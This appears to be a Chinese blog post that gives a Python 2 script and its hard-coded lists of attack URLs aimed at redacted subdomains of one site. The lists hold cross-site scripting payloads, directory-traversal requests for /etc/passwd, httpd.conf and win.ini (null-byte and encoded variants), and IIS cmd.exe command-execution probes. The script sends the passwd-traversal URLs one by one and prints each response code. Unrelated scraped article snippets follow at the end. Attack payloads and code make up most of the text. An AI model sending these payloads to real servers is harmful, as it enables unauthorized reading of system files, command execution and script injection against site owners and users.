Python 简单批量请求接口实例

#coding:utf-8
‘‘‘
Created on 2017年11月10日

@author: li.liu
‘‘‘
import urllib
import time

str1=‘‘‘
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://sso.xxxxx.com/../<script>alert(6)</script>
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://www.xxxxx.com/../<script>alert(7)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/index
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://source.xxxxx.com/index%23.%23php
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf//../winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/..//winnt/win.ini
http://www.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://www.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf/../../winnt/win.ini
http://www.xxxxx.com/%00.nsf//../winnt/win.ini
http://www.xxxxx.com/%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://www.xxxxx.com/%00.nsf/..//winnt/win.ini
http://sso.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://www.xxxxx.com/%00.nsf/../../winnt/win.ini
http://sso.xxxxx.com/%20.nsf//../winnt/win.ini
http://www.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://sso.xxxxx.com/%20.nsf/..//winnt/win.ini
http://www.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://sso.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://source.xxxxx.com/*.jsp/
http://www.xxxxx.com/%20.nsf//../winnt/win.ini
http://sso.xxxxx.com:443
http://sso.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://www.xxxxx.com/%20.nsf/..//winnt/win.ini
http://www.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://www.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://www.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://www.xxxxx.com/...nsf//../winnt/win.ini
http://source.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com/...nsf/..//winnt/win.ini
http://sso.xxxxx.com/...nsf//../winnt/win.ini
http://sso.xxxxx.com/...nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf///../winnt/win.ini
http://sso.xxxxx.com/.nsf//../winnt/win.ini
http://sso.xxxxx.com/.nsf//..//winnt/win.ini
http://www.xxxxx.com/.nsf///../winnt/win.ini
http://www.xxxxx.com:443
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://search.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%00%20.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..///winnt/win.ini
http://sso.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00%c0%af.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/%00...nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf//../winnt/win.ini
http://sso.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/.nsf/..///winnt/win.ini
http://sso.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/..//winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/%00.nsf/../../winnt/win.ini
http://sso.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://source.xxxxx.com/////////////
http://sso.xxxxx.com//
http://stylist.xxxxx.com/%00.nsf.nsf/../winnt/win.ini
http://www.xxxxx.com//
http://search.xxxxx.com/index
http://stylist.xxxxx.com/%20%00.nsf/../winnt/win.ini
http://search.xxxxx.com/index%23.%23php
http://www.xxxxx.com/.nsf//../winnt/win.ini
http://stylist.xxxxx.com:443
http://stylist.xxxxx.com/%20.nsf//../winnt/win.ini
http://www.xxxxx.com/.nsf//..//winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://www.xxxxx.com/.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/..///winnt/win.ini
http://www.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/
http://www.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%20.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/%c0%af%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/%c0%af.nsf//../winnt/win.ini
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/.nsf/..//winnt/win.ini
http://www.xxxxx.com/.nsf/..///winnt/win.ini
http://search.xxxxx.com/*.jsp/
http://stylist.xxxxx.com//
http://www.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://source.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://www.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://sso.xxxxx.com:8080/C:%5Cboot.ini
http://www.xxxxx.com:8080/C:%5Cboot.ini
http://www.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/html/pingtaisheji.html
http://stylist.xxxxx.com/html/NonExistentFile.html
http://source.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://stylist.xxxxx.com/%c0%af.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/...nsf//../winnt/win.ini
http://stylist.xxxxx.com/...nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf///../winnt/win.ini
http://stylist.xxxxx.com/.nsf//../winnt/win.ini
http://stylist.xxxxx.com/.nsf//..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com/.nsf/..//winnt/win.ini
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://source.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://search.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/.nsf/..///winnt/win.ini
http://stylist.xxxxx.com/html/pingtaisheji.html
http://stylist.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf/..//winnt/win.ini
http://stylist.xxxxx.com/.nsf/..///winnt/win.ini
http://stylist.xxxxx.com/.nsf%00.nsf/../winnt/win.ini
http://stylist.xxxxx.com/.nsf.nsf//../winnt/win.ini
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://stylist.xxxxx.com/.nsf.nsf/..//winnt/win.ini
http://source.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://search.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/html/pingtaisheji.html
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://source.xxxxx.com:8080/%20
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://sso.xxxxx.com/index
http://sso.xxxxx.com/index%23.%23php
http://www.xxxxx.com/index
http://www.xxxxx.com/index%23.%23php
http://search.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-+AC8-SCRIPT+AD4-.ida
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2bAC8-SCRIPT%2bAD4-.ida
http://sso.xxxxx.com/*.jsp/
http://www.xxxxx.com/*.jsp/
http://search.xxxxx.com:8080/%20
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/////////////
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://stylist.xxxxx.com/*.jsp/
http://stylist.xxxxx.com/////////////
http://sso.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/index%23.%23php
http://www.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://source.xxxxx.com/sourcePc/news
http://sso.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://www.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://stylist.xxxxx.com/c/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com:8080/C:%5Cwinnt%5Cwin.ini
http://sso.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://www.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://stylist.xxxxx.com/d/winnt/system32/cmd.exe?/c+dir
http://sso.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://www.xxxxx.com:8080/%20..\%20..\%20..\%20..\%20..\%20..\%20..\winnt\win.ini
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/httpd/conf/httpd.conf
http://stylist.xxxxx.com/\../\../\../\../\../\../\../www/conf/httpd.conf
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com/
http://www.xxxxx.com/
http://www.xxxxx.com/
http://sso.xxxxx.com:8080/%20
http://www.xxxxx.com/
‘‘‘
str2=‘‘‘
http://sso.xxxxx.com:8080/%20
http://sso.xxxxx.com/*.jsp/
http://search.xxxxx.com/*.jsp/
http://www.xxxxx.com:8080/C:%5Cboot.ini
http://sso.xxxxx.com:443
http://stylist.xxxxx.com/html/NonExistentFile.html
http://search.xxxxx.com/index%23.%23php
http://source.xxxxx.com:8080/%20
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://www.xxxxx.com:443
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://stylist.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com/*.jsp/
http://sso.xxxxx.com/../<script>alert(6)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://sso.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com:443
http://www.xxxxx.com/../<script>alert(7)</script>
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com//
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/index%23.%23php
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://sso.xxxxx.com/index
http://search.xxxxx.com:8080/%20
http://search.xxxxx.com/index
http://sso.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/////////////
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/////////////
http://www.xxxxx.com/
http://stylist.xxxxx.com:8080/C:%5Cboot.ini
http://stylist.xxxxx.com//
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/////////////
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/index
http://sso.xxxxx.com//
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/*.jsp/
http://source.xxxxx.com/*.jsp/
http://source.xxxxx.com/index%23.%23php
http://source.xxxxx.com/index
‘‘‘
str3=‘‘‘
http://sso.xxxxx.com:8080/%20
http://sso.xxxxx.com/*.jsp/
http://search.xxxxx.com/*.jsp/
http://sso.xxxxx.com:443
http://stylist.xxxxx.com/html/NonExistentFile.html
http://search.xxxxx.com/index%23.%23php
http://source.xxxxx.com:8080/%20
http://source.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://search.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://www.xxxxx.com:443
http://stylist.xxxxx.com/index
http://sso.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://stylist.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com/*.jsp/
http://sso.xxxxx.com/../<script>alert(6)</script>
http://search.xxxxx.com/search/webSearchNeed?categoryName=%E5%93%81%E7%89%8C
http://stylist.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/index%23.%23php
http://stylist.xxxxx.com:443
http://www.xxxxx.com/../<script>alert(7)</script>
http://stylist.xxxxx.com/../<script>alert(9)</script>
http://source.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://source.xxxxx.com/sourcePc/news
http://www.xxxxx.com//
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://www.xxxxx.com/index%23.%23php
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://search.xxxxx.com/%2bADw-SCRIPT%2bAD4-alert(1234)%2bADw-%2fSCRIPT%2bAD4-.htw%3fCiWebHitsFile%3d%2fiisstart.asp%26CiRestriction%3d‘‘
http://sso.xxxxx.com/index
http://search.xxxxx.com:8080/%20
http://search.xxxxx.com/index
http://stylist.xxxxx.com/%3Cscript%3Ealert(1234)%3C/script%3E
http://source.xxxxx.com/////////////
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/html/pingtaisheji.html
http://search.xxxxx.com/////////////
http://stylist.xxxxx.com/////////////
http://www.xxxxx.com/
http://stylist.xxxxx.com//
http://sso.xxxxx.com/sso/NonExistentFile
http://www.xxxxx.com/////////////
http://sso.xxxxx.com/+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=‘‘
http://sso.xxxxx.com/////////////
http://www.xxxxx.com/index
http://sso.xxxxx.com//
http://sso.xxxxx.com/sso/pc-login
http://www.xxxxx.com/*.jsp/
http://source.xxxxx.com/*.jsp/
http://source.xxxxx.com/index%23.%23php
http://source.xxxxx.com/index
‘‘‘
str4=‘‘‘
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://sso.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://source.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://www.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
http://stylist.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
‘‘‘
str5=‘‘‘
http://search.xxxxx.com/\../\../\../\../\../\../\../etc/passwd
‘‘‘
t=0
a= str4.split(‘\n‘)
#print urllib.urlopen(‘http://www.baidu.com‘).code
s=set()
for i in a:
    if ‘.ida‘ in i or ‘win.ini‘ in i or ‘httpd.conf‘ in i or ‘c+dir‘ in i :#or ‘passwd‘ in i:
        pass
        #s.add(i)
    elif ‘passwd‘ in i:
        #pass
        s.add(i)
    else:
        pass
        #s.add(i)

#while True:
for j in s:
    t+=1
    #print len(s),‘/‘,t

    print j

    try:
        url=j
        print urllib.urlopen(url).code
    except:
        print urllib.urlopen(‘http://www.xxxxx.com/‘).code
    #time.sleep(20)
    ‘‘‘‘‘‘

返回请求码判断

时间: 2024-10-09 08:43:50

Python 简单批量请求接口实例的相关文章

python调用接口,python接收post请求接口(附完整代码)

与Scala语言相比,Python有其独特的优势和广泛的应用,python调用接口,因此Spark也推出了PySpark,它在框架上提供了一个使用Python语言的接口,python接收post请求接口为数据科学家使用框架提供了方便. 众所周知,Spark框架主要由Scala语言实现,它还包含少量的Java代码.Spark面向用户的编程接口也是Scala.然而,Python在数据科学领域一直占据着重要的地位.仍然有大量的数据工程师使用各种Python数据处理和科学计算库,如numpy.熊猫.sc

shell的简单批量curl接口脚本

shell脚本可以说作用非常大,在服务器领域,用shell操作事务可比手动点击要方便快捷得多了.虽然只是文字界面,但是其强大的处理功能,会让各种操作超乎想象.而且,也可以将这些习惯移植到日常的工作当中,提升办事效率. 其实shell语法很简单,基本上就是综合一下在命令行下,一个个的命令集合,然后就组成了shell脚本.当然了,不懂语法的,百度搜索一下就好了嘛,毕竟,重要的是思想而非语法. 最近,刚接一需求,如下: DBA会将一些服务规则的数据导出,然后一条条手动去curl某应用接口,从而完成相应

小蚂蚁学习APP接口开发(7)—— APP接口实例——服务器定时缓存的方式开发接口

基本的思路:服务器只负责定时更新缓存.请求进来只需要读取缓存就可以了. 服务器定时执行生成缓存的代码: <?php  /******************************** * *   crontab 定时生成缓存文件 * * * * * * /usr/bin/php /app/crontab.php *   学php的小蚂蚁 *   原创博客 http://my.oschina.net/woshixiaomayi/blog * ***************************

微信企业号简单的OAuth2验证接口实例(使用SpringMVC非注解方式)

目前企业号只提供了scope为"snsapi_base"的应用授权作用域,也就是不会跳转到让用户授权的页面. 之前写了使用注解方式验证并获取用户信息的实例,大家不是很理解,问题很多,现在附上简单的验证获取用户信息的实例! 微信企业号OAuth2验证接口实例(使用SpringMVC) OAuth2.0验证需要注意: 1.redirect_uri参数是授权回调地址,也就是说这个地址外网是可以访问的,所以如果使用本地映射服务器的猿们请修改为外网可以访问的地址! 2.配置可信域名,可信域名是1

Python简单操作笔记

Python 类型转换 str(),repr()|format() : 将非字符类型转成子串 int() : 转为整形 float() : 转为浮点型 list(s) : 将字串s转成列表 tuple(s) : 将字串s转成元组 set(s) : 将字串s转成集合 frozenset(s) : 将字串s转成不可变集合 dict(s) : 创建字典 其d必须是(key,value)的元组序列; chr(x) : 将整形转成字符 ord(x) : 将字符转成整形 hex(x) : 将整形转换成16进

Python 中的“CGI” 接口——WSGI

今天在 git.oschina 的首页上看到他们推出演示平台,其中,Python 的演示平台支持 WSGI 接口的应用.虽然,这个演示平台连它自己提供的示例都跑不起来,但是,它还是成功的勾起了我对 WSGI 的强烈好奇心.一番了解,对该机制的认识,总结如下.如有不妥,还望斧正. 为什么是 WSGI? 写过网页应用的各位亲,应该对 CGI 有了解,我们知道,CGI 的全程是“Common Gateway Interface”,即通用 Gateway Interface.没错,这里的 WSGI,就是

简单的iOS开发实例

项目需求 写一个iPhone应用程序,要求可以输入名字,点击按钮后,会显示一段文字向输入的名字打招呼,例如输入“宝玉”,显示“你好,宝玉!” 需求分析 这是一个很简单的应用程序,包含一个文本输入框,一个文本显示框,一个按钮.输入名字到文本输入框,再点击按钮,这时文本显示框的文字就会变成“你 好,<名字>!”.但是要注意,如果用户输入为空,要有警告提示用户重新输入:如果用户输入文字太长,超过16个字符,要自动截断. 产品设计 根据项目需求,画出相应的产品原型图: 初始状态 初始时,文本输入框为空

postman系列之批量执行接口测试用例

postman如何批量执行接口测试用例~其实很简单,但是会给我们的工作带来很多方便~ 比如我们写了几十个测试用例,请求都是同一个服务器IP,一旦服务器IP地址从测试环境搬到线上环境,需要修改所有的服务器IP, 如果不能将测试用例保存起来,统一修改服务器IP ,并且批量执行,那将是一件很麻烦的事情! 可是postman帮助我们完美地解决了这个问题~具体操作请见下文 一.创建测试用例集.子集 如下图,点击postman左侧Collections下面有个添加文件夹图标,就可以创建测试用例集啦~一个系统

利用Python实现批量下载腾讯视频!

导语 利用Python下载腾讯非VIP视频,也就是可以免费观看的视频.做这个的起因是最近在看一个叫"请吃红小豆吧"的动漫,一共三分钟的动漫,广告时间竟然要一分钟,实在忍无可忍,于是干脆写个脚本把动漫都先下载下来再看,顺便过来分享一波,让我们愉快地开始吧~ 开发工具 Python版本:3.6.4 相关模块: PIL模块: requests模块: click模块: 以及一些Python自带的模块. 环境搭建 安装Python并添加到环境变量,pip安装需要的相关模块即可. 原理简介 做之前